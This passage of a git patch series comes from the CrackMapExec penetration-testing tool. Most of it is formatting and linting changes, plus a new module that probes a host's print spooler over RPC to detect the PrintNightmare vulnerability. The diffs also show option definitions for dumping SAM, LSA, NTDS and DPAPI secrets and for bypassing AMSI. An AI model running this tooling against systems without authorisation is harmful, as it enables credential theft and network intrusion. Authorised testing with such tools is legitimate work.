listen_port) self.server.addShare(share_name.upper(), share_path) - if verbose: self.server.setLogFile('') + if verbose: + self.server.setLogFile("") self.server.setSMB2Support(True) - self.server.setSMBChallenge('') + self.server.setSMBChallenge("") except Exception as e: errno, message = e.args - if errno == 98 and message == 'Address already in use': - logger.error("Error starting SMB server on port 445: the port is already in use") + if errno == 98 and message == "Address already in use": + logger.error( + "Error starting SMB server on port 445: the port is already in use" + ) else: logger.error(f"Error starting SMB server on port 445: {message}") exit(1) @@ -34,7 +44,7 @@ class CMESMBServer(threading.Thread): pass def shutdown(self): - # TODO: should fine the proper way + # TODO: should fine the proper way # make sure all the threads are killed for thread in threading.enumerate(): if thread.is_alive(): diff --git a/tests/e2e_test.py b/tests/e2e_test.py index 2956a08a..538ca68c 100644 --- a/tests/e2e_test.py +++ b/tests/e2e_test.py @@ -11,9 +11,27 @@ def get_cli_args(): parser.add_argument("-t", "--target", dest="target", required=True) parser.add_argument("-u", "--user", "--username", dest="username", required=True) parser.add_argument("-p", "--pass", "--password", dest="password", required=True) - parser.add_argument("-k", "--kerberos", action="store_true", required=False, help="Use kerberos authentication") - parser.add_argument("-v", "--verbose", action="store_true", required=False, help="Display full command output") - parser.add_argument("-e", "--errors", action="store_true", required=False, help="Display errors from commands") + parser.add_argument( + "-k", + "--kerberos", + action="store_true", + required=False, + help="Use kerberos authentication", + ) + parser.add_argument( + "-v", + "--verbose", + action="store_true", + required=False, + help="Display full command output", + ) + parser.add_argument( + "-e", + "--errors", + action="store_true", + required=False, + help="Display errors from commands", + ) parsed_args = parser.parse_args() return parsed_args @@ -35,10 +53,12 @@ def generate_commands(args): if line.startswith("#"): continue line = line.strip() - line = line.replace("TARGET", args.target) \ - .replace("USERNAME", f"\"{args.username}\"") \ - .replace("PASSWORD", f"\"{args.password}\"") \ + line = ( + line.replace("TARGET", args.target) + .replace("USERNAME", f'"{args.username}"') + .replace("PASSWORD", f'"{args.password}"') .replace("KERBEROS ", kerberos) + ) lines.append(line) return lines @@ -51,11 +71,13 @@ def run_e2e_tests(args): "crackmapexec --version", shell=True, stdout=subprocess.PIPE, - stderr=subprocess.STDOUT + stderr=subprocess.STDOUT, ) version = result.communicate()[0].decode().strip() - with console.status(f"[bold green] :brain: Running {len(tasks)} test commands for cme v{version}...") as status: + with console.status( + f"[bold green] :brain: Running {len(tasks)} test commands for cme v{version}..." + ) as status: passed = 0 failed = 0 @@ -66,7 +88,7 @@ def run_e2e_tests(args): shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, - stderr=subprocess.STDOUT + stderr=subprocess.STDOUT, ) # pass in a "y" for things that prompt for it (--ndts, etc) text = result.communicate(input=b"y")[0] diff --git a/tests/test_smb_database.py b/tests/test_smb_database.py index 4b8ea917..cb592426 100644 --- a/tests/test_smb_database.py +++ b/tests/test_smb_database.py @@ -18,9 +18,7 @@ from sqlalchemy.dialects.sqlite import Insert def db_engine(): db_path = os.path.join(WS_PATH, "test/smb.db") db_engine = create_engine( - f"sqlite:///{db_path}", - isolation_level="AUTOCOMMIT", - future=True + f"sqlite:///{db_path}", isolation_level="AUTOCOMMIT", future=True ) yield db_engine db_engine.dispose() @@ -54,13 +52,8 @@ def db(db_setup): @pytest.fixture(scope="session") def sess(db_engine): - session_factory = sessionmaker( - bind=db_engine, - expire_on_commit=True - ) - Session = scoped_session( - session_factory - ) + session_factory = sessionmaker(bind=db_engine, expire_on_commit=True) + Session = scoped_session(session_factory) sess = Session() yield sess sess.close() @@ -77,7 +70,7 @@ def test_add_host(db): True, True, False, - False + False, ) inserted_host = db.get_hosts() assert len(inserted_host) == 1 @@ -105,7 +98,7 @@ def test_update_host(db, sess): "spooler": True, "zerologon": False, "petitpotam": False, - "dc": False + "dc": False, } iq = Insert(db.HostsTable) sess.execute(iq, [host]) @@ -119,7 +112,7 @@ def test_update_host(db, sess): False, False, False, - False + False, ) inserted_host = db.get_hosts() assert len(inserted_host) == 1 From d6f3a2da4fb2dab24ef1567d4ded5313f2e85470 Mon Sep 17 00:00:00 2001 From: Marshall Hallenbeck Date: Tue, 2 May 2023 14:03:53 -0400 Subject: [PATCH 03/76] chore(formatting): rest of formatting that didn't get included in branch before merging --- cme/protocols/smb.py | 98 ++++++++++++++++++++++++++++++++------------ 1 file changed, 72 insertions(+), 26 deletions(-) diff --git a/cme/protocols/smb.py b/cme/protocols/smb.py index ef4d065b..d025feae 100755 --- a/cme/protocols/smb.py +++ b/cme/protocols/smb.py @@ -167,7 +167,9 @@ class smb(connection): @staticmethod def proto_args(parser, std_parser, module_parser): smb_parser = parser.add_parser( - "smb", help="own stuff using SMB", parents=[std_parser, module_parser] + "smb", + help="own stuff using SMB", + parents=[std_parser, module_parser] ) smb_parser.add_argument( "-H", @@ -242,14 +244,19 @@ class smb(connection): ) cgroup = smb_parser.add_argument_group( - "Credential Gathering", "Options for gathering credentials" + "Credential Gathering", + "Options for gathering credentials" ) cegroup = cgroup.add_mutually_exclusive_group() cegroup.add_argument( - "--sam", action="store_true", help="dump SAM hashes from target systems" + "--sam", + action="store_true", + help="dump SAM hashes from target systems" ) cegroup.add_argument( - "--lsa", action="store_true", help="dump LSA secrets from target systems" + "--lsa", + action="store_true", + help="dump LSA secrets from target systems" ) cegroup.add_argument( "--ntds", @@ -263,13 +270,14 @@ class smb(connection): choices={"password", "cookies"}, nargs="?", const="password", - help='dump DPAPI secrets from target systems, can dump cookies if you add "cookies"\n(default: password)', + help="dump DPAPI secrets from target systems, can dump cookies if you add \"cookies\"\n(default: password)", ) # cgroup.add_argument("--ntds-history", action='store_true', help='Dump NTDS.dit password history') # cgroup.add_argument("--ntds-pwdLastSet", action='store_true', help='Shows the pwdLastSet attribute for each NTDS.dit account') ngroup = smb_parser.add_argument_group( - "Credential Gathering", "Options for gathering credentials" + "Credential Gathering", + "Options for gathering credentials" ) ngroup.add_argument( "--mkfile", @@ -277,20 +285,30 @@ class smb(connection): help="DPAPI option. File with masterkeys in form of {GUID}:SHA1", ) ngroup.add_argument( - "--pvk", action="store", help="DPAPI option. File with domain backupkey" + "--pvk", + action="store", + help="DPAPI option. File with domain backupkey" ) ngroup.add_argument( - "--enabled", action="store_true", help="Only dump enabled targets from DC" + "--enabled", + action="store_true", + help="Only dump enabled targets from DC" ) ngroup.add_argument( - "--user", dest="userntds", type=str, help="Dump selected user from DC" + "--user", + dest="userntds", + type=str, + help="Dump selected user from DC" ) egroup = smb_parser.add_argument_group( - "Mapping/Enumeration", "Options for Mapping/Enumerating" + "Mapping/Enumeration", + "Options for Mapping/Enumerating" ) egroup.add_argument( - "--shares", action="store_true", help="enumerate shares and access" + "--shares", + action="store_true", + help="enumerate shares and access" ) egroup.add_argument( "--filter-shares", @@ -298,16 +316,24 @@ class smb(connection): help="Filter share by access, option 'read' 'write' or 'read,write'", ) egroup.add_argument( - "--sessions", action="store_true", help="enumerate active sessions" + "--sessions", + action="store_true", + help="enumerate active sessions" + ) + egroup.add_argument( + "--disks", + action="store_true", + help="enumerate disks" ) - egroup.add_argument("--disks", action="store_true", help="enumerate disks") egroup.add_argument( "--loggedon-users-filter", action="store", help="only search for specific user, works with regex", ) egroup.add_argument( - "--loggedon-users", action="store_true", help="enumerate logged on users" + "--loggedon-users", + action="store_true", + help="enumerate logged on users" ) egroup.add_argument( "--users", @@ -338,7 +364,9 @@ class smb(connection): help="enumerate local groups, if a group is specified then its members are enumerated", ) egroup.add_argument( - "--pass-pol", action="store_true", help="dump password policy" + "--pass-pol", + action="store_true", + help="dump password policy" ) egroup.add_argument( "--rid-brute", @@ -349,7 +377,10 @@ class smb(connection): help="enumerate users by bruteforcing RID's (default: 4000)", ) egroup.add_argument( - "--wmi", metavar="QUERY", type=str, help="issues the specified WMI query" + "--wmi", + metavar="QUERY", + type=str, + help="issues the specified WMI query" ) egroup.add_argument( "--wmi-namespace", @@ -359,10 +390,14 @@ class smb(connection): ) sgroup = smb_parser.add_argument_group( - "Spidering", "Options for spidering shares" + "Spidering", + "Options for spidering shares" ) sgroup.add_argument( - "--spider", metavar="SHARE", type=str, help="share to spider" + "--spider", + metavar="SHARE", + type=str, + help="share to spider" ) sgroup.add_argument( "--spider-folder", @@ -372,7 +407,9 @@ class smb(connection): help="folder to spider (default: root share directory)", ) sgroup.add_argument( - "--content", action="store_true", help="enable file content searching" + "--content", + action="store_true", + help="enable file content searching" ) sgroup.add_argument( "--exclude-dirs", @@ -399,11 +436,14 @@ class smb(connection): help="max spider recursion depth (default: infinity & beyond)", ) sgroup.add_argument( - "--only-files", action="store_true", help="only spider files" + "--only-files", + action="store_true", + help="only spider files" ) tgroup = smb_parser.add_argument_group( - "Files", "Options for put and get remote files" + "Files", + "Options for put and get remote files" ) tgroup.add_argument( "--put-file", @@ -424,7 +464,8 @@ class smb(connection): ) cgroup = smb_parser.add_argument_group( - "Command Execution", "Options for executing commands" + "Command Execution", + "Options for executing commands" ) cgroup.add_argument( "--exec-method", @@ -447,7 +488,9 @@ class smb(connection): help="force the PowerShell command to run in a 32-bit process", ) cgroup.add_argument( - "--no-output", action="store_true", help="do not retrieve command output" + "--no-output", + action="store_true", + help="do not retrieve command output" ) cegroup = cgroup.add_mutually_exclusive_group() cegroup.add_argument( @@ -463,10 +506,13 @@ class smb(connection): help="execute the specified PowerShell command", ) psgroup = smb_parser.add_argument_group( - "Powershell Obfuscation", "Options for PowerShell script obfuscation" + "Powershell Obfuscation", + "Options for PowerShell script obfuscation" ) psgroup.add_argument( - "--obfs", action="store_true", help="Obfuscate PowerShell scripts" + "--obfs", + action="store_true", + help="Obfuscate PowerShell scripts" ) psgroup.add_argument( "--amsi-bypass", @@ -1889,7 +1935,7 @@ class smb(connection): except: self.logger.fail( "Your version of CMEDB is not up to date, run cmedb and create a new workspace: \ - 'workspace create dpapi' then re-run the dpapi option" + 'workspace create dpapi' then re-run the dpapi option" ) return False if len(results) > 0: From 2c8ecf9b202e852e7218aecb66d667649bd57e9e Mon Sep 17 00:00:00 2001 From: mpgn Date: Tue, 2 May 2023 16:10:44 -0400 Subject: [PATCH 04/76] switch proto flow to is correct line --- cme/connection.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cme/connection.py b/cme/connection.py index 8e1504dc..7e87b585 100755 --- a/cme/connection.py +++ b/cme/connection.py @@ -138,9 +138,9 @@ class connection(object): def proto_flow(self): self.logger.debug(f"Kicking off proto_flow") - self.proto_logger() if self.create_conn_obj(): self.enum_host_info() + self.proto_logger() if self.print_host_info(): # because of null session if self.login() or (self.username == "" and self.password == ""): From a2a00472dc90c2e00755ed8d40cd60454c7d747b Mon Sep 17 00:00:00 2001 From: mpgn Date: Tue, 2 May 2023 16:12:14 -0400 Subject: [PATCH 05/76] add module printnigthmare --- cme/modules/printnightmare.py | 315 ++++++++++++++++++++++++++++++++++ 1 file changed, 315 insertions(+) create mode 100644 cme/modules/printnightmare.py diff --git a/cme/modules/printnightmare.py b/cme/modules/printnightmare.py new file mode 100644 index 00000000..0d4bff9d --- /dev/null +++ b/cme/modules/printnightmare.py @@ -0,0 +1,315 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- + +import sys +from impacket import system_errors, version +from impacket.dcerpc.v5.rpcrt import DCERPCException +from impacket.structure import Structure +from impacket.examples import logger +from impacket.examples.utils import parse_target +from impacket.dcerpc.v5 import transport, rprn +from impacket.dcerpc.v5.ndr import NDRCALL, NDRPOINTER, NDRSTRUCT, NDRUNION, NULL +from impacket.dcerpc.v5.dtypes import DWORD, LPWSTR, ULONG, WSTR +from impacket.dcerpc.v5.rprn import ( + checkNullString, + STRING_HANDLE, + PBYTE_ARRAY, +) + +KNOWN_PROTOCOLS = { + 135: {"bindstr": r"ncacn_ip_tcp:%s[135]"}, + 445: {"bindstr": r"ncacn_np:%s[\pipe\epmapper]"}, +} + +class CMEModule: + """ + Check if vulnerable to printnightmare + Module by @mpgn_x64 based on https://github.com/ly4k/PrintNightmare + """ + + name = "printnightmare" + description = "Check if host vulnerable to printnightmare" + supported_protocols = ["smb"] + opsec_safe = True + multiple_hosts = True + + def __init__(self, context=None, module_options=None): + self.context = context + self.module_options = module_options + self.__string_binding = None + self.port = None + + def options(self, context, module_options): + """ + PORT Port to check (defaults to 445) + """ + self.port = 445 + if "PORT" in module_options: + self.port = int(module_options["PORT"]) + + def on_login(self, context, connection): + # Connect and bind to MS-RPRN (https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/848b8334-134a-4d02-aea4-03b673d6c515) + stringbinding = r"ncacn_np:%s[\PIPE\spoolss]" % connection.host + + context.log.info("Binding to %s" % (repr(stringbinding))) + + rpctransport = transport.DCERPCTransportFactory(stringbinding) + + rpctransport.set_credentials( + connection.username, + connection.password, + connection.domain, + connection.lmhash, + connection.nthash, + ) + + rpctransport.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost) + + rpctransport.setRemoteHost(connection.host) + rpctransport.set_dport(self.port) + + try: + dce = rpctransport.get_dce_rpc() + # Connect to spoolss named pipe + dce.connect() + # Bind to MSRPC MS-RPRN UUID: 12345678-1234-ABCD-EF00-0123456789AB + dce.bind(rprn.MSRPC_UUID_RPRN) + except Exception as e: + context.log.fail("Failed to bind: %s" % e) + sys.exit(1) + + flags = APD_COPY_ALL_FILES | APD_COPY_FROM_DIRECTORY | APD_INSTALL_WARNED_DRIVER + + driver_container = DRIVER_CONTAINER() + driver_container["Level"] = 2 + driver_container["DriverInfo"]["tag"] = 2 + driver_container["DriverInfo"]["Level2"]["cVersion"] = 0 + driver_container["DriverInfo"]["Level2"]["pName"] = NULL + driver_container["DriverInfo"]["Level2"]["pEnvironment"] = NULL + driver_container["DriverInfo"]["Level2"]["pDriverPath"] = NULL + driver_container["DriverInfo"]["Level2"]["pDataFile"] = NULL + driver_container["DriverInfo"]["Level2"]["pConfigFile"] = NULL + driver_container["DriverInfo"]["Level2"]["pConfigFile"] = NULL + + try: + hRpcAddPrinterDriverEx( + dce, + pName=NULL, + pDriverContainer=driver_container, + dwFileCopyFlags=flags, + ) + except DCERPCSessionError as e: + # RPC_E_ACCESS_DENIED is returned on patched systems, when + # a non-administrative user tries to create a new printer + # driver + if e.error_code == RPC_E_ACCESS_DENIED: + context.log.info("Not vulnerable :'(") + return False + # If vulnerable, 'ERROR_INVALID_PARAMETER' will be returned + if e.error_code == system_errors.ERROR_INVALID_PARAMETER: + context.log.highlight("Vulnerable, next step https://github.com/ly4k/PrintNightmare") + return True + raise e + context.log.highlight("Vulnerable, next step https://github.com/ly4k/PrintNightmare") + return True + +class DCERPCSessionError(DCERPCException): + def __init__(self, error_string=None, error_code=None, packet=None): + DCERPCException.__init__(self, error_string, error_code, packet) + + def __str__(self): + key = self.error_code + if key in system_errors.ERROR_MESSAGES: + error_msg_short = system_errors.ERROR_MESSAGES[key][0] + error_msg_verbose = system_errors.ERROR_MESSAGES[key][1] + return "RPRN SessionError: code: 0x%x - %s - %s" % ( + self.error_code, + error_msg_short, + error_msg_verbose, + ) + else: + return "RPRN SessionError: unknown error code: 0x%x" % self.error_code + + +################################################################################ +# CONSTANTS +################################################################################ +# MS-RPRN - 3.1.4.4.8 +APD_COPY_ALL_FILES = 0x00000004 +APD_COPY_FROM_DIRECTORY = 0x00000010 +APD_INSTALL_WARNED_DRIVER = 0x00008000 + +# MS-RPRN - 3.1.4.4.7 +DPD_DELETE_UNUSED_FILES = 0x00000001 + +# https://docs.microsoft.com/en-us/windows/win32/com/com-error-codes-3 +RPC_E_ACCESS_DENIED = 0x8001011B +system_errors.ERROR_MESSAGES[RPC_E_ACCESS_DENIED] = ( + "RPC_E_ACCESS_DENIED", + "Access is denied.", +) + +################################################################################ +# STRUCTURES +################################################################################ +# MS-RPRN - 2.2.1.5.1 +class DRIVER_INFO_1(NDRSTRUCT): + structure = (("pName", STRING_HANDLE),) + + +class PDRIVER_INFO_1(NDRPOINTER): + referent = (("Data", DRIVER_INFO_1),) + + +# MS-RPRN - 2.2.1.5.2 +class DRIVER_INFO_2(NDRSTRUCT): + structure = ( + ("cVersion", DWORD), + ("pName", LPWSTR), + ("pEnvironment", LPWSTR), + ("pDriverPath", LPWSTR), + ("pDataFile", LPWSTR), + ("pConfigFile", LPWSTR), + ) + + +class PDRIVER_INFO_2(NDRPOINTER): + referent = (("Data", DRIVER_INFO_2),) + + +class DRIVER_INFO_2_BLOB(Structure): + structure = ( + ("cVersion", " Date: Tue, 2 May 2023 16:12:45 -0400 Subject: [PATCH 06/76] format black --- cme/modules/printnightmare.py | 12 ++++++++++-- 1 file changed, 10 insertions(+), 2 deletions(-) diff --git a/cme/modules/printnightmare.py b/cme/modules/printnightmare.py index 0d4bff9d..4bbfc2ee 100644 --- a/cme/modules/printnightmare.py +++ b/cme/modules/printnightmare.py @@ -21,6 +21,7 @@ KNOWN_PROTOCOLS = { 445: {"bindstr": r"ncacn_np:%s[\pipe\epmapper]"}, } + class CMEModule: """ Check if vulnerable to printnightmare @@ -107,12 +108,17 @@ class CMEModule: return False # If vulnerable, 'ERROR_INVALID_PARAMETER' will be returned if e.error_code == system_errors.ERROR_INVALID_PARAMETER: - context.log.highlight("Vulnerable, next step https://github.com/ly4k/PrintNightmare") + context.log.highlight( + "Vulnerable, next step https://github.com/ly4k/PrintNightmare" + ) return True raise e - context.log.highlight("Vulnerable, next step https://github.com/ly4k/PrintNightmare") + context.log.highlight( + "Vulnerable, next step https://github.com/ly4k/PrintNightmare" + ) return True + class DCERPCSessionError(DCERPCException): def __init__(self, error_string=None, error_code=None, packet=None): DCERPCException.__init__(self, error_string, error_code, packet) @@ -149,6 +155,7 @@ system_errors.ERROR_MESSAGES[RPC_E_ACCESS_DENIED] = ( "Access is denied.", ) + ################################################################################ # STRUCTURES ################################################################################ @@ -302,6 +309,7 @@ OPNUMS = { 89: (RpcAddPrinterDriverEx, RpcAddPrinterDriverExResponse), } + ################################################################################ # HELPER FUNCTIONS ################################################################################ From 09844d18196d4b0d5ff53dbace466b67fa4fcbcd Mon Sep 17 00:00:00 2001 From: mpgn Date: Tue, 2 May 2023 16:18:58 -0400 Subject: [PATCH 07/76] bump to 5.4.7 --- cme/cli.py | 2 +- pyproject.toml | 7 +++---- 2 files changed, 4 insertions(+), 5 deletions(-) diff --git a/cme/cli.py b/cme/cli.py index cfe53311..940bae85 100755 --- a/cme/cli.py +++ b/cme/cli.py @@ -10,7 +10,7 @@ from termcolor import colored def gen_cli_args(): - VERSION = "5.4.6" + VERSION = "5.4.7" CODENAME = "Bruce Wayne" p_loader = ProtocolLoader() diff --git a/pyproject.toml b/pyproject.toml index 06079163..0364bc5c 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,6 +1,6 @@ [tool.poetry] name = "crackmapexec" -version = "5.4.6" +version = "5.4.7" description = "A swiss army knife for pentesting networks" authors = ["Marcello Salvati ", "Martial Puygrenier "] readme = "README.md" @@ -28,7 +28,7 @@ cmedb = 'cme.cmedb:main' python = "^3.7.0" requests = ">=2.27.1" beautifulsoup4 = ">=4.11,<5" -lsassy = ">=3.1.8" +lsassy = ">=3.1.3" termcolor = "^1.1.0" msgpack = "^1.0.0" neo4j = "^4.1.1" @@ -44,13 +44,12 @@ pywerview = "^0.3.3" minikerberos = "0.4.0" pypykatz = "^0.6.6" aardwolf = "^0.2.7" -dploot = "^2.1.21" +dploot = "^2.1.20" bloodhound = "^1.6.1" asyauth = "^0.0.13" masky = "^0.2.0" sqlalchemy = "^2.0.4" aiosqlite = "^0.18.0" -pytest = "^7.2.2" [tool.poetry.dev-dependencies] flake8 = "*" From 386ce220fb27c06b3b2a8e080585d5fec500f490 Mon Sep 17 00:00:00 2001 From: mpgn Date: Tue, 2 May 2023 16:29:06 -0400 Subject: [PATCH 08/76] revert package pyproject --- pyproject.toml | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index 0364bc5c..be1e0a02 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -28,7 +28,7 @@ cmedb = 'cme.cmedb:main' python = "^3.7.0" requests = ">=2.27.1" beautifulsoup4 = ">=4.11,<5" -lsassy = ">=3.1.3" +lsassy = ">=3.1.8" termcolor = "^1.1.0" msgpack = "^1.0.0" neo4j = "^4.1.1" @@ -44,12 +44,13 @@ pywerview = "^0.3.3" minikerberos = "0.4.0" pypykatz = "^0.6.6" aardwolf = "^0.2.7" -dploot = "^2.1.20" +dploot = "^2.1.21" bloodhound = "^1.6.1" asyauth = "^0.0.13" masky = "^0.2.0" sqlalchemy = "^2.0.4" aiosqlite = "^0.18.0" +pytest = "^7.2.2" [tool.poetry.dev-dependencies] flake8 = "*" From 593b9090c904b0547edbf7f9a556752594cd8bb7 Mon Sep 17 00:00:00 2001 From: Marshall Hallenbeck Date: Wed, 3 May 2023 16:31:54 -0400 Subject: [PATCH 09/76] refactor(linting): initial perflint linting --- cme/cmedb.py | 147 ++++++++++++++++++++++--------------------- cme/connection.py | 27 ++++---- cme/crackmapexec.py | 98 ++++++++++++++--------------- cme/first_run.py | 29 +++++---- cme/logger.py | 13 ++-- cme/protocols/smb.py | 79 +++++++++-------------- cme/servers/smb.py | 7 +-- 7 files changed, 193 insertions(+), 207 deletions(-) diff --git a/cme/cmedb.py b/cme/cmedb.py index 49c0a55a..eaaae14e 100644 --- a/cme/cmedb.py +++ b/cme/cmedb.py @@ -5,8 +5,11 @@ import cmd import configparser import csv import os +from os import listdir +from os.path import exists +from os.path import join as path_join import shutil -import sqlite3 +from sqlite3 import connect import sys from textwrap import dedent @@ -70,7 +73,10 @@ def complete_import(text, line): """ Tab-complete 'import' commands """ - commands = ["empire", "metasploit"] + commands = ( + "empire", + "metasploit" + ) mline = line.partition(" ")[2] offs = len(mline) - len(text) return [s[offs:] for s in commands if s.startswith(mline)] @@ -80,7 +86,7 @@ def complete_export(text, line): """ Tab-complete 'creds' commands. """ - commands = [ + commands = ( "creds", "plaintext", "hashes", @@ -88,7 +94,7 @@ def complete_export(text, line): "local_admins", "signing", "keys", - ] + ) mline = line.partition(" ")[2] offs = len(mline) - len(text) return [s[offs:] for s in commands if s.startswith(mline)] @@ -111,7 +117,8 @@ class DatabaseNavigator(cmd.Cmd): self.db.shutdown_db() sys.exit() - def help_exit(self): + @staticmethod + def help_exit(): help_string = """ Exits """ @@ -131,21 +138,19 @@ class DatabaseNavigator(cmd.Cmd): # Users if command == "creds": if len(line) < 3: - print( - "[-] invalid arguments, export creds " - ) + print("[-] invalid arguments, export creds ") return filename = line[2] creds = self.db.get_credentials() - csv_header = [ + csv_header = ( "id", "domain", "username", "password", "credtype", "pillaged_from", - ] + ) if line[1].lower() == "simple": write_csv(filename, csv_header, creds) @@ -173,12 +178,10 @@ class DatabaseNavigator(cmd.Cmd): # Hosts elif command == "hosts": if len(line) < 3: - print( - "[-] invalid arguments, export hosts " - ) + print("[-] invalid arguments, export hosts ") return - csv_header_simple = [ + csv_header_simple = ( "id", "ip", "hostname", @@ -187,8 +190,8 @@ class DatabaseNavigator(cmd.Cmd): "dc", "smbv1", "signing", - ] - csv_header_detailed = [ + ) + csv_header_detailed = ( "id", "ip", "hostname", @@ -200,7 +203,7 @@ class DatabaseNavigator(cmd.Cmd): "spooler", "zerologon", "petitpotam", - ] + ) filename = line[2] if line[1].lower() == "simple": @@ -222,13 +225,19 @@ class DatabaseNavigator(cmd.Cmd): # Shares elif command == "shares": if len(line) < 3: - print( - "[-] invalid arguments, export shares " - ) + print("[-] invalid arguments, export shares ") return shares = self.db.get_shares() - csv_header = ["id", "host", "userid", "name", "remark", "read", "write"] + csv_header = ( + "id", + "host", + "userid", + "name", + "remark", + "read", + "write" + ) filename = line[2] if line[1].lower() == "simple": @@ -240,7 +249,7 @@ class DatabaseNavigator(cmd.Cmd): for share in shares: user = self.db.get_users(share[2])[0] - entry = [ + entry = ( share[0], # shareID self.db.get_hosts(share[1])[0][2], # hosts f"{user[1]}\{user[2]}", # userID @@ -248,7 +257,7 @@ class DatabaseNavigator(cmd.Cmd): share[4], # remark bool(share[5]), # read bool(share[6]), # write - ] + ) formatted_shares.append(entry) write_csv(filename, csv_header, formatted_shares) else: @@ -258,14 +267,16 @@ class DatabaseNavigator(cmd.Cmd): # Local Admin elif command == "local_admins": if len(line) < 3: - print( - "[-] invalid arguments, export local_admins " - ) + print("[-] invalid arguments, export local_admins ") return # These values don't change between simple and detailed local_admins = self.db.get_admin_relations() - csv_header = ["id", "userid", "host"] + csv_header = ( + "id", + "userid", + "host" + ) filename = line[2] if line[1].lower() == "simple": @@ -275,11 +286,11 @@ class DatabaseNavigator(cmd.Cmd): for entry in local_admins: user = self.db.get_users(filter_term=entry[1])[0] - formatted_entry = [ + formatted_entry = ( entry[0], # Entry ID f"{user[1]}/{user[2]}", # DOMAIN/Username self.db.get_hosts(filter_term=entry[2])[0][2], # Hostname - ] + ) # Can't modify a tuple which is what self.db.get_admin_relations() returns formatted_local_admins.append(formatted_entry) write_csv(filename, csv_header, formatted_local_admins) @@ -289,14 +300,12 @@ class DatabaseNavigator(cmd.Cmd): print("[+] Local Admins exported") elif command == "dpapi": if len(line) < 3: - print( - "[-] invalid arguments, export dpapi " - ) + print("[-] invalid arguments, export dpapi ") return # These values don't change between simple and detailed dpapi_secrets = self.db.get_dpapi_secrets() - csv_header = [ + csv_header = ( "id", "host", "dpapi_type", @@ -304,7 +313,7 @@ class DatabaseNavigator(cmd.Cmd): "username", "password", "url", - ] + ) filename = line[2] if line[1].lower() == "simple": @@ -312,7 +321,7 @@ class DatabaseNavigator(cmd.Cmd): elif line[1].lower() == "detailed": formatted_dpapi_secret = [] for entry in dpapi_secrets: - formatted_entry = [ + formatted_entry = ( entry[0], # Entry ID self.db.get_hosts(filter_term=entry[1])[0][2], # Hostname entry[2], # DPAPI type @@ -320,12 +329,12 @@ class DatabaseNavigator(cmd.Cmd): entry[4], # Username entry[5], # Password entry[6], # URL - ] + ) # Can't modify a tuple which is what self.db.get_admin_relations() returns formatted_dpapi_secret.append(formatted_entry) write_csv(filename, csv_header, formatted_dpapi_secret) else: - print("[-] No such export option: %s" % line[1]) + print(f"[-] No such export option: {line[1]}") return print("[+] DPAPI secrets exported") elif command == "keys": @@ -337,11 +346,10 @@ class DatabaseNavigator(cmd.Cmd): filename = line[2] write_list(filename, writable_keys) else: - print( - "[-] Invalid argument, specify creds, hosts, local_admins, shares or dpapi" - ) + print("[-] Invalid argument, specify creds, hosts, local_admins, shares or dpapi") - def help_export(self): + @staticmethod + def help_export(): help_string = """ export [creds|hosts|local_admins|shares|signing|keys] [simple|detailed|*] [filename] Exports information to a specified file @@ -358,7 +366,9 @@ class DatabaseNavigator(cmd.Cmd): return if line == "empire": - headers = {"Content-Type": "application/json"} + headers = { + "Content-Type": "application/json" + } # Pull the username and password from the config file payload = { "username": self.config.get("Empire", "username"), @@ -436,8 +446,8 @@ class CMEDBMenu(cmd.Cmd): if not proto: return - proto_db_path = os.path.join(WORKSPACE_DIR, self.workspace, proto + ".db") - if os.path.exists(proto_db_path): + proto_db_path = path_join(WORKSPACE_DIR, self.workspace, f"{proto}.db") + if exists(proto_db_path): self.conn = create_db_engine(proto_db_path) db_nav_object = self.p_loader.load_protocol(self.protocols[proto]["nvpath"]) db_object = self.p_loader.load_protocol(self.protocols[proto]["dbpath"]) @@ -451,7 +461,8 @@ class CMEDBMenu(cmd.Cmd): except UserExitedProto: pass - def help_proto(self): + @staticmethod + def help_proto(): help_string = """ proto [smb|mssql|winrm] *unimplemented protocols: ftp, rdp, ldap, ssh @@ -474,27 +485,30 @@ class CMEDBMenu(cmd.Cmd): self.do_workspace(new_workspace) elif subcommand == "list": print("[*] Enumerating Workspaces") - for workspace in os.listdir(os.path.join(WORKSPACE_DIR)): + for workspace in listdir(path_join(WORKSPACE_DIR)): if workspace == self.workspace: print("==> " + workspace) else: print(workspace) - elif os.path.exists(os.path.join(WORKSPACE_DIR, line)): + elif exists(path_join(WORKSPACE_DIR, line)): self.config.set("CME", "workspace", line) self.write_configfile() self.workspace = line self.prompt = f"cmedb ({line}) > " - def help_workspace(self): + @staticmethod + def help_workspace(): help_string = """ workspace [create | workspace list | workspace ] """ print_help(help_string) - def do_exit(self, line): + @staticmethod + def do_exit(line): sys.exit() - def help_exit(self): + @staticmethod + def help_exit(): help_string = """ Exits """ @@ -502,18 +516,15 @@ class CMEDBMenu(cmd.Cmd): def create_workspace(workspace_name, p_loader, protocols): - os.mkdir(os.path.join(WORKSPACE_DIR, workspace_name)) + os.mkdir(path_join(WORKSPACE_DIR, workspace_name)) for protocol in protocols.keys(): - try: - protocol_object = p_loader.load_protocol(protocols[protocol]["dbpath"]) - except KeyError: - continue - proto_db_path = os.path.join(WORKSPACE_DIR, workspace_name, protocol + ".db") + protocol_object = p_loader.load_protocol(protocols[protocol]["dbpath"]) + proto_db_path = path_join(WORKSPACE_DIR, workspace_name, f"{protocol}.db") - if not os.path.exists(proto_db_path): + if not exists(proto_db_path): print(f"[*] Initializing {protocol.upper()} protocol database") - conn = sqlite3.connect(proto_db_path) + conn = connect(proto_db_path) c = conn.cursor() # try to prevent some weird sqlite I/O errors @@ -528,27 +539,23 @@ def create_workspace(workspace_name, p_loader, protocols): def delete_workspace(workspace_name): - shutil.rmtree(os.path.join(WORKSPACE_DIR, workspace_name)) + shutil.rmtree(path_join(WORKSPACE_DIR, workspace_name)) def initialize_db(logger): - if not os.path.exists(os.path.join(WS_PATH, "default")): + if not exists(path_join(WS_PATH, "default")): logger.debug("Creating default workspace") - os.mkdir(os.path.join(WS_PATH, "default")) + os.mkdir(path_join(WS_PATH, "default")) p_loader = ProtocolLoader() protocols = p_loader.get_protocols() for protocol in protocols.keys(): - try: - protocol_object = p_loader.load_protocol(protocols[protocol]["dbpath"]) - except 